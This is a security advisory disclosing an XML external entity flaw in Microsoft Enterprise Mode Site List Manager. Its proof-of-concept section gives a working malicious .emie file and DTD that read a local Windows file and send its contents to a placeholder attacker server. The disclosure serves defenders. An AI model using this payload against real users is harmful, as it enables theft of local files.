Microsoft Enterprise Mode Site List Manager – XML External Entity Injection
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-ENTERPRISE-MODE-SITE-LIST-MANAGER-XXE.txt [+] ISR: Apparition Security ***Greetz: indoushka | Eduardo*** Vendor ============= www.microsoft Product =========== Enterprise Mode Site List Manager versions(1/2) You can use IE11 and the Enterprise Mode Site List Manager to add individual website domains and domain paths and to specify whether the site renders using Enterprise Mode or the default mode. Vulnerability Type =================== XML External Entity Injection CVE Reference ============== N/A Security Issue ================ Versions 1 and 2 of Microsoft Enterprise Mode Site List Manager allow local file exfiltration to a remote attacker controlled server, if the user is tricked into using an attacker supplied ".emie" site list manager file type. Exploit/POC ============= 1) python -m SimpleHTTPServer 2) POC.emie <?xml version="1.0"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini"> <!ENTITY % dtd SYSTEM "http://ADVERSARY-IP:8000/payload.dtd"> %dtd;]> <pwn>&send;</pwn> 3) payload.dtd <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://ADVERSARY-IP:8000?%file;'>"> %all; Import the POC.emie into Enterprise Mode Site List Manager, then remote attackers will recieve local user files... nice. Network Access =============== Remote Severity ========= High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx |